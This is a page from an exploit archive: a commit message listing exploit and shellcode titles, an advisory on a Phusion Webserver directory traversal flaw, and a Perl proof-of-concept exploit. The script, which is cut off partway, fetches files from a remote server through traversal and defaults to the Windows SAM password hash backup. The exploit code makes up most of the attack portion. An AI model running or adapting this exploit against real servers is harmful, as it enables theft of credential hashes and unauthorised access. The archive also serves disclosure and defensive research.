880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
63 lines
No EOL
2 KiB
Perl
Executable file
63 lines
No EOL
2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/4117/info
|
|
|
|
Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.
|
|
|
|
Phusion Webserver is prone to directory traversal attacks. It is possible to break out of wwwroot using triple-dot-slash (.../) sequences containing HTTP-encoded variations of "/" and "\". As a result, a malicious web user may browse web-readable files on the host running the vulnerable software.
|
|
|
|
This vulnerability may potentially result in the disclosure of sensitive information contained in web-readable files on the host.
|
|
|
|
It should be noted that webservers normally run with SYSTEM privileges on Microsoft Windows operating systems.
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
# THIS SCRIPT ONLY FOR WINDOWS WITH PERL OR CYGWIN
|
|
#
|
|
# Simple script to get files on server.
|
|
#
|
|
# Maybe u need this line for windows:
|
|
# #! c:\perl\bin\perl.exe
|
|
#
|
|
# Phusion Webserver v1.0 proof-of-concept exploit.
|
|
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
|
|
#
|
|
# Thanks all the people from Spain and Argentina.
|
|
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins,
|
|
# G.Maggiotti & H.Oliveira.
|
|
#
|
|
#
|
|
# Usage: perl -x Phusion-GET.pl <And read the Intructions>
|
|
#
|
|
#
|
|
|
|
|
|
print("\nPhusion Webserver v1.0 GET Files exploit (c)2002.\n");
|
|
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");
|
|
|
|
|
|
print <<"EOT";
|
|
Please type the address remote webserver, example: www.whitehouse.gov
|
|
[Default remote Webserver is "127.0.0.1"`]:
|
|
EOT
|
|
$host = <>;
|
|
|
|
print <<"EOT";
|
|
Please type only in the directory where the file is located you want to
|
|
download,
|
|
example: /winnt/repair/
|
|
[default directory is "/winnt/repair/"] :#For IIS 4-5
|
|
EOT
|
|
$directory = <> || "/winnt/repair/";
|
|
|
|
|
|
print <<"EOT";
|
|
Please type in the filename you want download example: sam._
|
|
[default file is "sam._"] :
|
|
EOT
|
|
$file = <> || "sam._";
|
|
|
|
{
|
|
#Maybe u to change this line depending of PATH installation.
|
|
system("explorer.exe", "http://$host:80/../../..$directory$file");
|
|
}
|
|
|
|
print <<"EOT"; |